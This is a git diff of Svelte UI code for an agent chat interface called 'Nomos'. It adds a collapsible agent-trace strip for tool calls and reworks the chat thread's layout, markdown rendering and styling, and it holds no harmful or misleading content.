{#if !isLast}
|
||||
<div class="absolute left-[17px] top-6 bottom-0 w-px bg-border"></div>
|
||||
{/if}
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-start gap-2 {entry.indent ? 'pl-7' : 'px-3'} py-1.5 text-left text-xs hover:bg-muted/30 cursor-pointer"
|
||||
onclick={() => toggle(entry.id)}
|
||||
>
|
||||
<!-- status icon -->
|
||||
<span class="relative mt-0.5 flex size-3.5 shrink-0 items-center justify-center rounded-full {statusColor(entry.status)}">
|
||||
{#if entry.status === 'running'}
|
||||
<Spinner class="size-3.5" />
|
||||
{:else if entry.status === 'failed'}
|
||||
<CircleXIcon class="size-3.5" />
|
||||
{:else if icon}
|
||||
{@const IconComp = icon}
|
||||
<IconComp class="size-3" />
|
||||
{:else}
|
||||
<CircleDotIcon class="size-3" />
|
||||
{/if}
|
||||
</span>
|
||||
<!-- description -->
|
||||
<span class="min-w-0 flex-1 leading-snug {entry.status === 'done' ? 'text-muted-foreground' : ''}">
|
||||
{entry.description}
|
||||
</span>
|
||||
<span class="mt-0.5 shrink-0 text-muted-foreground">
|
||||
{#if isOpen}
|
||||
<ChevronDownIcon class="size-3" />
|
||||
{:else}
|
||||
<ChevronRightIcon class="size-3" />
|
||||
{/if}
|
||||
</span>
|
||||
</button>
|
||||
<!-- detail -->
|
||||
{#if isOpen}
|
||||
<div class="flex flex-col gap-1.5 pl-8 pr-3 pb-2">
|
||||
<div class="flex items-center gap-2 text-[10px] text-muted-foreground">
|
||||
<span class="capitalize">{entry.status}</span>
|
||||
{#if time}<span aria-hidden="true">·</span><span>{time}</span>{/if}
|
||||
{#if entry.toolName}<span aria-hidden="true">·</span><code class="font-mono">{entry.toolName}</code>{/if}
|
||||
</div>
|
||||
{#if entry.args}
|
||||
<div>
|
||||
<p class="mb-0.5 text-[10px] font-medium uppercase tracking-wide text-muted-foreground/70">Called with</p>
|
||||
<pre class="overflow-x-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-2 font-mono text-[10px] leading-relaxed text-muted-foreground">{prettyPrint(entry.args)}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
{#if entry.detail}
|
||||
<div>
|
||||
{#if entry.args}<p class="mb-0.5 text-[10px] font-medium uppercase tracking-wide text-muted-foreground/70">{entry.status === 'failed' ? 'Error' : 'Result'}</p>{/if}
|
||||
<pre class="overflow-x-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-2 font-mono text-[10px] leading-relaxed text-muted-foreground">{prettyPrint(entry.detail)}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
{#if !entry.args && !entry.detail}
|
||||
<p class="text-[10px] text-muted-foreground/70">No further detail for this step.</p>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,42 +0,0 @@
|
||||
<script lang="ts">
|
||||
import type { ActivityEntry } from '$lib/stores/activity'
|
||||
import Spinner from './Spinner.svelte'
|
||||
import CheckIcon from '@lucide/svelte/icons/check'
|
||||
import XIcon from '@lucide/svelte/icons/x'
|
||||
|
||||
let { active = false, lastActivity = null as ActivityEntry | null, error = '' }: { active?: boolean; lastActivity?: ActivityEntry | null; error?: string } = $props()
|
||||
|
||||
let done = $state(false)
|
||||
let wasActive = $state(false)
|
||||
|
||||
$effect(() => {
|
||||
if (active) { done = false; wasActive = true }
|
||||
if (!active && wasActive) {
|
||||
done = true
|
||||
const t = setTimeout(() => { done = false; wasActive = false }, 3000)
|
||||
return () => clearTimeout(t)
|
||||
}
|
||||
})
|
||||
|
||||
const label = $derived.by(() => {
|
||||
if (error) return error
|
||||
if (!active && done) return 'Done'
|
||||
if (lastActivity) return lastActivity.description
|
||||
return 'Agent is thinking…'
|
||||
})
|
||||
</script>
|
||||
|
||||
{#if active || done || error}
|
||||
<div class="flex items-center gap-2 py-2 text-xs transition-opacity {error ? 'text-destructive' : done ? 'text-success opacity-50' : 'text-muted-foreground'}">
|
||||
<span class="shrink-0">
|
||||
{#if error}
|
||||
<XIcon class="size-3" />
|
||||
{:else if done}
|
||||
<CheckIcon class="size-3" />
|
||||
{:else}
|
||||
<Spinner class="size-3 text-primary" />
|
||||
{/if}
|
||||
</span>
|
||||
<span>{label}</span>
|
||||
</div>
|
||||
{/if}
|
||||
128
web/src/lib/components/AgentTrace.svelte
Normal file
@@ -0,0 +1,128 @@
|
||||
<script lang="ts">
|
||||
// The agent's working trace for one assistant turn: the live "thinking"
|
||||
// indicator and that turn's tool calls merged into a single collapsible
|
||||
// strip, instead of a stack of one card per call (a 13-call turn buried the
|
||||
// actual answer). Collapsed it's one line — the current activity while
|
||||
// running, a count once finished. Expanded it lists what the agent did, in
|
||||
// humanized language, each row opening to its raw args/result.
|
||||
import type { ToolCallResult } from '$lib/types'
|
||||
import ToolCallCard from './ToolCallCard.svelte'
|
||||
import Spinner from './Spinner.svelte'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
import CheckIcon from '@lucide/svelte/icons/check'
|
||||
import XIcon from '@lucide/svelte/icons/x'
|
||||
import SparklesIcon from '@lucide/svelte/icons/sparkles'
|
||||
|
||||
let {
|
||||
tools = [],
|
||||
label = null,
|
||||
status = 'idle'
|
||||
}: {
|
||||
tools?: ToolCallResult[]
|
||||
/** Live indicator text — the running step, an error, or "Done". */
|
||||
label?: string | null
|
||||
/** `idle` = no live state; the strip is just this turn's finished trace. */
|
||||
status?: 'running' | 'done' | 'error' | 'idle'
|
||||
} = $props()
|
||||
|
||||
let expanded = $state(false)
|
||||
|
||||
const count = $derived(tools.length)
|
||||
// Collapsed line: prefer the live activity while something is happening,
|
||||
// otherwise summarize the turn so a finished trace still says what it was.
|
||||
const headline = $derived.by(() => {
|
||||
if (status !== 'idle' && label) return label
|
||||
if (count > 0) return count === 1 ? '1 tool call' : `${count} tool calls`
|
||||
return 'No tool calls'
|
||||
})
|
||||
</script>
|
||||
|
||||
<div
|
||||
class="trace rounded-lg border border-border/60 bg-card/40 transition-colors"
|
||||
class:running={status === 'running'}
|
||||
>
|
||||
<button
|
||||
class="flex w-full items-center gap-2 px-3 py-1.5 text-left transition-colors hover:bg-muted/40"
|
||||
onclick={() => (expanded = !expanded)}
|
||||
aria-expanded={expanded}
|
||||
aria-label={expanded ? 'Hide agent trace' : 'Show agent trace'}
|
||||
>
|
||||
<span
|
||||
class="shrink-0 {status === 'error'
|
||||
? 'text-destructive'
|
||||
: status === 'idle'
|
||||
? 'text-muted-foreground'
|
||||
: 'text-primary'}"
|
||||
>
|
||||
{#if status === 'running'}
|
||||
<Spinner class="size-3" />
|
||||
{:else if status === 'error'}
|
||||
<XIcon class="size-3" />
|
||||
{:else if status === 'done'}
|
||||
<CheckIcon class="size-3" />
|
||||
{:else}
|
||||
<SparklesIcon class="size-3" />
|
||||
{/if}
|
||||
</span>
|
||||
|
||||
<span
|
||||
class="min-w-0 flex-1 truncate text-xs {status === 'error'
|
||||
? 'text-destructive'
|
||||
: status === 'running'
|
||||
? 'text-foreground/80'
|
||||
: 'text-muted-foreground'}"
|
||||
>
|
||||
{headline}
|
||||
</span>
|
||||
|
||||
{#if count > 0 && status !== 'idle'}
|
||||
<span class="shrink-0 text-[10px] tabular-nums text-muted-foreground/60">{count}</span>
|
||||
{/if}
|
||||
|
||||
<ChevronRightIcon
|
||||
class="size-3 shrink-0 text-muted-foreground/50 transition-transform {expanded
|
||||
? 'rotate-90'
|
||||
: ''}"
|
||||
/>
|
||||
</button>
|
||||
|
||||
{#if expanded}
|
||||
<div class="border-t border-border/40 p-1">
|
||||
{#if count > 0}
|
||||
{#each tools as tool (tool.id)}
|
||||
<ToolCallCard {tool} />
|
||||
{/each}
|
||||
{:else}
|
||||
<p class="px-2 py-1.5 text-[11px] text-muted-foreground">
|
||||
Nothing recorded for this turn yet.
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.trace {
|
||||
animation: trace-in 0.2s ease-out;
|
||||
}
|
||||
/* A faint pulse while the agent is mid-turn — the collapsed strip is the
|
||||
only thing on screen then, so it carries the "still working" signal. */
|
||||
.trace.running {
|
||||
border-color: color-mix(in oklab, var(--primary) 35%, var(--border));
|
||||
}
|
||||
@keyframes trace-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(-2px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: translateY(0);
|
||||
}
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.trace {
|
||||
animation: none;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -5,16 +5,19 @@
|
||||
// through this, so the message-bubble/markdown styling lives in one place
|
||||
// instead of being copy-pasted between the two.
|
||||
import { Pane, Splitpanes } from 'svelte-splitpanes'
|
||||
import { activityLog } from '$lib/stores/activity'
|
||||
import AgentIndicator from '$lib/components/AgentIndicator.svelte'
|
||||
import { activityLog, type ActivityEntry } from '$lib/stores/activity'
|
||||
import type { Readable } from 'svelte/store'
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import { Textarea } from '$lib/components/ui/textarea'
|
||||
import AgentTrace from './AgentTrace.svelte'
|
||||
import OperatorQuestion from './OperatorQuestion.svelte'
|
||||
import CornerDownLeftIcon from '@lucide/svelte/icons/corner-down-left'
|
||||
import RefreshCwIcon from '@lucide/svelte/icons/refresh-cw'
|
||||
import SquareIcon from '@lucide/svelte/icons/square'
|
||||
import { marked } from 'marked'
|
||||
import DOMPurify from 'dompurify'
|
||||
import type { ChatMessage } from '$lib/stores/chat'
|
||||
import type { SessionQuestion } from '$lib/api'
|
||||
|
||||
let {
|
||||
messages,
|
||||
@@ -26,7 +29,10 @@
|
||||
onCancel,
|
||||
onReconnect,
|
||||
onDismissError,
|
||||
suggestions = []
|
||||
suggestions = [],
|
||||
activityLog: activityLogProp = activityLog,
|
||||
sessionId = null,
|
||||
question = null
|
||||
}: {
|
||||
messages: ChatMessage[]
|
||||
streaming: boolean
|
||||
@@ -38,6 +44,11 @@
|
||||
onReconnect: () => void
|
||||
onDismissError: (id: string) => void
|
||||
suggestions?: string[]
|
||||
activityLog?: Readable<ActivityEntry[]>
|
||||
/** Session this thread's pending question (below) should post its answer against — see OperatorQuestion.svelte. */
|
||||
sessionId?: string | null
|
||||
/** The session's open operator question, if any — rendered as an inline card at the end of the thread (the newest thing, blocking the agent until answered). */
|
||||
question?: SessionQuestion | null
|
||||
} = $props()
|
||||
|
||||
let input = $state('')
|
||||
@@ -45,6 +56,32 @@
|
||||
let scrolledUp = $state(false)
|
||||
let container = $state<HTMLDivElement | null>(null)
|
||||
|
||||
let indicatorDone = $state(false)
|
||||
let wasStreaming = $state(false)
|
||||
|
||||
$effect(() => {
|
||||
if (streaming) {
|
||||
indicatorDone = false
|
||||
wasStreaming = true
|
||||
}
|
||||
if (!streaming && wasStreaming) {
|
||||
indicatorDone = true
|
||||
const t = setTimeout(() => {
|
||||
indicatorDone = false
|
||||
wasStreaming = false
|
||||
}, 3000)
|
||||
return () => clearTimeout(t)
|
||||
}
|
||||
})
|
||||
|
||||
const indicatorLabel = $derived.by(() => {
|
||||
if (error) return error
|
||||
if (!streaming && indicatorDone) return 'Done'
|
||||
const running = $activityLogProp.find((e: ActivityEntry) => e.status === 'running')
|
||||
if (running) return running.description
|
||||
return 'Agent is thinking…'
|
||||
})
|
||||
|
||||
// Resizable input area — drag the splitter above it to grow the textarea,
|
||||
// capped so it can't swallow the whole thread. Both the minimum and the
|
||||
// default are exactly one line: measured from the textarea's own
|
||||
@@ -60,7 +97,10 @@
|
||||
const lineHeight = parseFloat(taCs.lineHeight)
|
||||
if (!Number.isFinite(lineHeight)) return
|
||||
const taBoxY =
|
||||
parseFloat(taCs.paddingTop) + parseFloat(taCs.paddingBottom) + parseFloat(taCs.borderTopWidth) + parseFloat(taCs.borderBottomWidth)
|
||||
parseFloat(taCs.paddingTop) +
|
||||
parseFloat(taCs.paddingBottom) +
|
||||
parseFloat(taCs.borderTopWidth) +
|
||||
parseFloat(taCs.borderBottomWidth)
|
||||
// The wrapper's own padding/border (space around the textarea, not part
|
||||
// of it) also has to fit inside the minimum, or the textarea gets
|
||||
// squeezed below one line once the pane is dragged down to it.
|
||||
@@ -74,13 +114,15 @@
|
||||
})
|
||||
const inputMinSize = $derived(threadHeight > 0 ? (oneLinePx / threadHeight) * 100 : 12)
|
||||
|
||||
// Keep the input pinned to inputMinSize (one line) until the user actually
|
||||
// drags the splitter — not just on the first measurement. A floating
|
||||
// window's threadHeight is 0/wrong for a frame or two while it animates
|
||||
// open, and locking the percentage to that first reading left the input
|
||||
// several lines tall once the window reached full size (fixed 2026-07-21).
|
||||
let inputSize = $state(12)
|
||||
let inputSizeDefaulted = false
|
||||
let userResizedInput = false
|
||||
$effect(() => {
|
||||
if (!inputSizeDefaulted && threadHeight > 0) {
|
||||
inputSize = inputMinSize
|
||||
inputSizeDefaulted = true
|
||||
}
|
||||
if (!userResizedInput) inputSize = inputMinSize
|
||||
})
|
||||
|
||||
function isNearBottom(): boolean {
|
||||
@@ -93,16 +135,39 @@
|
||||
scrolledUp = !isNearBottom()
|
||||
}
|
||||
|
||||
// Auto-scroll to bottom on new messages — unless user scrolled up to read.
|
||||
// Auto-scroll to bottom on new messages (or a freshly-raised question) —
|
||||
// unless user scrolled up to read.
|
||||
$effect(() => {
|
||||
void messages
|
||||
void question
|
||||
if (streaming || !scrolledUp) {
|
||||
setTimeout(() => messagesEnd?.scrollIntoView({ behavior: 'smooth' }), 50)
|
||||
}
|
||||
})
|
||||
|
||||
function render(text: string): string {
|
||||
return DOMPurify.sanitize(marked.parse(text, { async: false }) as string)
|
||||
const renderer = new marked.Renderer()
|
||||
renderer.code = function ({ text, lang }) {
|
||||
const escaped = text.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
||||
return `<div class="code-block-wrapper relative group"><pre><code class="language-${lang || 'plaintext'}">${escaped}</code></pre><button class="code-copy-btn" onclick="navigator.clipboard.writeText(this.parentElement.querySelector('pre code').textContent)" title="Copy" aria-label="Copy code"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="9" y="9" width="13" height="13" rx="2" ry="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg></button></div>`
|
||||
}
|
||||
renderer.table = function (token) {
|
||||
const header = token.header.map((c: { text: string }) => `<th>${c.text}</th>`).join('')
|
||||
const body = token.rows
|
||||
.map((r: { text: string }[]) => `<tr>${r.map((c) => `<td>${c.text}</td>`).join('')}</tr>`)
|
||||
.join('')
|
||||
return `<div class="table-wrapper"><table><thead><tr>${header}</tr></thead><tbody>${body}</tbody></table></div>`
|
||||
}
|
||||
return DOMPurify.sanitize(marked.parse(text, { async: false, renderer }) as string)
|
||||
}
|
||||
|
||||
function formatTime(iso: string): string {
|
||||
try {
|
||||
const d = new Date(iso)
|
||||
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||||
} catch {
|
||||
return ''
|
||||
}
|
||||
}
|
||||
|
||||
function submit() {
|
||||
@@ -127,93 +192,174 @@
|
||||
</script>
|
||||
|
||||
<div class="flex h-full min-h-0 min-w-0 flex-col" bind:clientHeight={threadHeight}>
|
||||
<Splitpanes horizontal theme="oikos-theme" dblClickSplitter={false} class="min-h-0 flex-1">
|
||||
<Splitpanes
|
||||
horizontal
|
||||
theme="oikos-theme"
|
||||
dblClickSplitter={false}
|
||||
class="min-h-0 flex-1"
|
||||
on:resize={() => (userResizedInput = true)}
|
||||
>
|
||||
<Pane class="flex flex-col">
|
||||
<div class="min-h-0 flex-1 overflow-y-auto" bind:this={container} onscroll={onScroll}>
|
||||
<div class="mx-auto flex max-w-3xl flex-col gap-5 p-4">
|
||||
{#if messages.length === 0}
|
||||
<div class="flex flex-col items-center gap-6 pt-24 text-center">
|
||||
<div>
|
||||
<h2 class="text-xl font-semibold">Nomos</h2>
|
||||
<p class="mt-1 text-sm text-muted-foreground">Your resident operator. Ask about the fleet, or tell it to act.</p>
|
||||
</div>
|
||||
{#if suggestions.length}
|
||||
<div class="grid w-full max-w-md grid-cols-1 gap-2 sm:grid-cols-2">
|
||||
{#each suggestions as q}
|
||||
<Button variant="outline" size="sm" class="h-auto justify-start whitespace-normal py-2 text-left text-xs" onclick={() => ask(q)}>
|
||||
{q}
|
||||
</Button>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#each messages as msg (msg.id)}
|
||||
<div class="flex flex-col gap-1.5 {msg.role === 'user' ? 'items-end' : 'items-start'}">
|
||||
{#if msg.role === 'user'}
|
||||
<div class="max-w-[85%] rounded-2xl rounded-br-sm bg-primary px-4 py-2.5 text-sm text-primary-foreground whitespace-pre-wrap user-msg">{msg.text}</div>
|
||||
{:else}
|
||||
<div class="flex w-full flex-col gap-2">
|
||||
{#if msg.text}
|
||||
<div class="prose-chat max-w-none text-sm leading-relaxed assistant-msg">
|
||||
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized via DOMPurify -->
|
||||
{@html render(msg.text)}
|
||||
<div class="min-h-0 flex-1 overflow-y-auto" bind:this={container} onscroll={onScroll}>
|
||||
<div class="mx-auto flex min-h-full max-w-3xl flex-col gap-5 p-4">
|
||||
{#if messages.length === 0}
|
||||
<div class="flex flex-1 flex-col items-center justify-center gap-6 text-center">
|
||||
<div>
|
||||
<h2 class="text-xl font-semibold">Nomos</h2>
|
||||
<p class="mt-1 text-sm text-muted-foreground">
|
||||
Your resident operator. Ask about the fleet, or tell it to act.
|
||||
</p>
|
||||
</div>
|
||||
{#if suggestions.length}
|
||||
<div class="grid w-full max-w-md grid-cols-1 gap-2 sm:grid-cols-2">
|
||||
{#each suggestions as q}
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
class="h-auto justify-start whitespace-normal py-2 text-left text-xs"
|
||||
onclick={() => ask(q)}
|
||||
>
|
||||
{q}
|
||||
</Button>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#each messages as msg, idx (msg.id)}
|
||||
<div class="flex flex-col gap-1.5 {msg.role === 'user' ? 'items-end' : 'items-start'}">
|
||||
{#if msg.role === 'user'}
|
||||
<div class="flex items-baseline gap-2 px-1">
|
||||
<span class="text-[10px] font-medium text-muted-foreground/70">You</span>
|
||||
{#if msg.created_at}
|
||||
<span class="text-[9px] text-muted-foreground/50"
|
||||
>{formatTime(msg.created_at)}</span
|
||||
>
|
||||
{/if}
|
||||
</div>
|
||||
<div
|
||||
class="max-w-[85%] rounded-2xl rounded-br-sm bg-primary px-4 py-2.5 text-sm text-primary-foreground whitespace-pre-wrap user-msg"
|
||||
>
|
||||
{msg.text}
|
||||
</div>
|
||||
{:else}
|
||||
{@const isLast = idx === messages.length - 1}
|
||||
{@const traceStatus = !isLast
|
||||
? 'idle'
|
||||
: error
|
||||
? 'error'
|
||||
: streaming
|
||||
? 'running'
|
||||
: indicatorDone
|
||||
? 'done'
|
||||
: 'idle'}
|
||||
<div class="flex w-full flex-col gap-2">
|
||||
<div class="flex items-baseline gap-2 px-1">
|
||||
<span class="text-[10px] font-medium text-muted-foreground/70">Nomos</span>
|
||||
{#if msg.created_at}
|
||||
<span class="text-[9px] text-muted-foreground/50"
|
||||
>{formatTime(msg.created_at)}</span
|
||||
>
|
||||
{/if}
|
||||
</div>
|
||||
<!-- The working trace sits above the answer: it's what happened
|
||||
first, and collapsed it keeps a long tool run from burying
|
||||
the text below it. -->
|
||||
{#if msg.tools.length > 0 || traceStatus !== 'idle'}
|
||||
<AgentTrace
|
||||
tools={msg.tools}
|
||||
status={traceStatus}
|
||||
label={traceStatus === 'idle' ? null : indicatorLabel}
|
||||
/>
|
||||
{/if}
|
||||
{#if msg.text}
|
||||
<div
|
||||
class="markdown-body prose-chat max-w-none text-sm leading-relaxed assistant-msg"
|
||||
>
|
||||
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized via DOMPurify -->
|
||||
{@html render(msg.text)}
|
||||
{#if isLast && streaming}
|
||||
<span class="stream-cursor" aria-hidden="true"></span>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
{#if question}
|
||||
<OperatorQuestion {sessionId} {question} />
|
||||
{/if}
|
||||
<div bind:this={messagesEnd}></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{#if connectionState === 'disconnected'}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div
|
||||
class="mb-2 flex items-center gap-2 rounded-md border border-warning/50 bg-warning/10 px-3 py-2 text-xs"
|
||||
>
|
||||
<RefreshCwIcon class="size-3 shrink-0" aria-hidden="true" />
|
||||
<span class="text-warning-foreground flex-1"
|
||||
>Agent connection lost. The task may still be running.</span
|
||||
>
|
||||
<Button size="xs" variant="outline" class="h-6 text-[11px]" onclick={onReconnect}
|
||||
>Reconnect</Button
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
{:else if connectionState === 'reconnecting'}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div class="mb-2 flex items-center gap-2 rounded-md border bg-muted/50 px-3 py-2 text-xs">
|
||||
<RefreshCwIcon
|
||||
class="size-3 shrink-0 animate-spin text-muted-foreground"
|
||||
aria-hidden="true"
|
||||
/>
|
||||
<span class="text-muted-foreground flex-1">Reconnecting to agent…</span>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if error}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div
|
||||
class="mb-2 rounded-md border border-destructive/50 bg-destructive/10 px-3 py-2 text-xs text-destructive"
|
||||
>
|
||||
{error}
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#each chatErrors as err (err.id)}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div
|
||||
class="mb-2 flex items-center gap-2 rounded-md border border-destructive/30 bg-destructive/5 px-3 py-2 text-xs text-destructive"
|
||||
>
|
||||
<span class="flex-1">{err.message}</span>
|
||||
{#if err.action}
|
||||
<Button
|
||||
size="xs"
|
||||
variant="ghost"
|
||||
class="h-6 text-[11px]"
|
||||
onclick={() => onDismissError(err.id)}>{err.action}</Button
|
||||
>
|
||||
{/if}
|
||||
<button
|
||||
class="ml-1 text-muted-foreground hover:text-foreground"
|
||||
onclick={() => onDismissError(err.id)}
|
||||
aria-label="Dismiss">×</button
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
{/each}
|
||||
<AgentIndicator
|
||||
active={streaming || $activityLog.some((e) => e.status === 'running')}
|
||||
lastActivity={$activityLog.find((e) => e.status === 'running') ?? null}
|
||||
{error}
|
||||
/>
|
||||
<div bind:this={messagesEnd}></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{#if connectionState === 'disconnected'}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div class="mb-2 flex items-center gap-2 rounded-md border border-warning/50 bg-warning/10 px-3 py-2 text-xs">
|
||||
<RefreshCwIcon class="size-3 shrink-0" aria-hidden="true" />
|
||||
<span class="text-warning-foreground flex-1">Agent connection lost. The task may still be running.</span>
|
||||
<Button size="xs" variant="outline" class="h-6 text-[11px]" onclick={onReconnect}>Reconnect</Button>
|
||||
</div>
|
||||
</div>
|
||||
{:else if connectionState === 'reconnecting'}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div class="mb-2 flex items-center gap-2 rounded-md border bg-muted/50 px-3 py-2 text-xs">
|
||||
<RefreshCwIcon class="size-3 shrink-0 animate-spin text-muted-foreground" aria-hidden="true" />
|
||||
<span class="text-muted-foreground flex-1">Reconnecting to agent…</span>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if error}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div class="mb-2 rounded-md border border-destructive/50 bg-destructive/10 px-3 py-2 text-xs text-destructive">
|
||||
{error}
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#each chatErrors as err (err.id)}
|
||||
<div class="mx-auto w-full max-w-3xl px-4">
|
||||
<div class="mb-2 flex items-center gap-2 rounded-md border border-destructive/30 bg-destructive/5 px-3 py-2 text-xs text-destructive">
|
||||
<span class="flex-1">{err.message}</span>
|
||||
{#if err.action}
|
||||
<Button size="xs" variant="ghost" class="h-6 text-[11px]" onclick={() => onDismissError(err.id)}>{err.action}</Button>
|
||||
{/if}
|
||||
<button class="ml-1 text-muted-foreground hover:text-foreground" onclick={() => onDismissError(err.id)} aria-label="Dismiss">×</button>
|
||||
</div>
|
||||
</div>
|
||||
{/each}
|
||||
</Pane>
|
||||
|
||||
<Pane bind:size={inputSize} minSize={inputMinSize} maxSize={45} class="flex flex-col">
|
||||
<div class="flex h-full min-h-0 flex-col border-t bg-card/50 p-3 input-ornament relative" bind:this={inputWrapperRef}>
|
||||
<div
|
||||
class="flex h-full min-h-0 flex-col border-t bg-card/50 p-3 input-ornament relative"
|
||||
bind:this={inputWrapperRef}
|
||||
>
|
||||
<form
|
||||
class="relative mx-auto flex h-full w-full max-w-3xl"
|
||||
onsubmit={(e) => {
|
||||
@@ -269,52 +415,39 @@
|
||||
/* User message — soft terracotta bubble, gentle lift */
|
||||
.user-msg {
|
||||
box-shadow: 0 1px 8px -4px var(--primary);
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
/* Prose overrides */
|
||||
.prose-chat :global(p) {
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
.prose-chat :global(p:last-child) {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.prose-chat :global(ul),
|
||||
.prose-chat :global(ol) {
|
||||
margin: 0 0 0.5rem;
|
||||
padding-left: 1.25rem;
|
||||
}
|
||||
.prose-chat :global(ul) {
|
||||
list-style-type: disc;
|
||||
}
|
||||
.prose-chat :global(ol) {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
/* Prose overrides — deltas on top of the shared .markdown-body base
|
||||
(app.css) only. The template applies both classes together
|
||||
(class="markdown-body prose-chat ..."); everything below either adds a
|
||||
look .markdown-body doesn't have (li::marker, the pre/blockquote
|
||||
::before ornaments, hr, strong, the table-wrapper, the code-copy
|
||||
button) or overrides a .markdown-body value that this "Art Nouveau"
|
||||
chat treatment wants different (code/pre padding, heading size, th/td
|
||||
padding, blockquote border color, link underline style). Anywhere a
|
||||
value is actually overridden, the selector is
|
||||
`.markdown-body.prose-chat` rather than `.prose-chat` alone —
|
||||
:global() selectors from two different <style> blocks land in the same
|
||||
stylesheet with no scoping to arbitrate between them, so equal
|
||||
specificity would leave the winner to injection order (unreliable
|
||||
across dev/build). The two-class selector's higher specificity wins
|
||||
deterministically regardless. */
|
||||
.prose-chat :global(li) {
|
||||
margin-bottom: 0.125rem;
|
||||
padding-left: 0.25rem;
|
||||
}
|
||||
.prose-chat :global(li::marker) {
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.prose-chat :global(code) {
|
||||
background: var(--muted);
|
||||
.markdown-body.prose-chat :global(code) {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 4px;
|
||||
padding: 0.15em 0.4em;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.85em;
|
||||
color: var(--primary);
|
||||
}
|
||||
|
||||
.prose-chat :global(pre) {
|
||||
background: var(--muted);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
.markdown-body.prose-chat :global(pre) {
|
||||
padding: 0.75rem 0.875rem;
|
||||
overflow-x: auto;
|
||||
margin: 0 0 0.5rem;
|
||||
position: relative;
|
||||
}
|
||||
.prose-chat :global(pre)::before {
|
||||
@@ -328,21 +461,29 @@
|
||||
opacity: 0.4;
|
||||
}
|
||||
.prose-chat :global(pre code) {
|
||||
background: none;
|
||||
padding: 0;
|
||||
font-size: 0.8125rem;
|
||||
color: inherit;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Section headings — serif (Inknut) with a short accent rule. Extra top
|
||||
margin separates sections; the first heading in a message doesn't. */
|
||||
.prose-chat :global(h1),
|
||||
.prose-chat :global(h2),
|
||||
.prose-chat :global(h3) {
|
||||
font-weight: 600;
|
||||
.markdown-body.prose-chat :global(h1) {
|
||||
font-size: 1.15em;
|
||||
margin: 1.15rem 0 0.4rem;
|
||||
letter-spacing: 0.01em;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
}
|
||||
.markdown-body.prose-chat :global(h2) {
|
||||
font-size: 1.08em;
|
||||
margin: 1.15rem 0 0.4rem;
|
||||
letter-spacing: 0.01em;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
}
|
||||
.markdown-body.prose-chat :global(h3) {
|
||||
font-size: 1.02em;
|
||||
margin: 1.15rem 0 0.4rem;
|
||||
font-size: 1.03em;
|
||||
letter-spacing: 0.01em;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
@@ -365,27 +506,24 @@
|
||||
opacity: 0.55;
|
||||
}
|
||||
|
||||
.prose-chat :global(table) {
|
||||
border-collapse: collapse;
|
||||
.prose-chat :global(.table-wrapper) {
|
||||
overflow-x: auto;
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
.prose-chat :global(.table-wrapper table) {
|
||||
margin: 0;
|
||||
}
|
||||
.prose-chat :global(th) {
|
||||
background: var(--muted);
|
||||
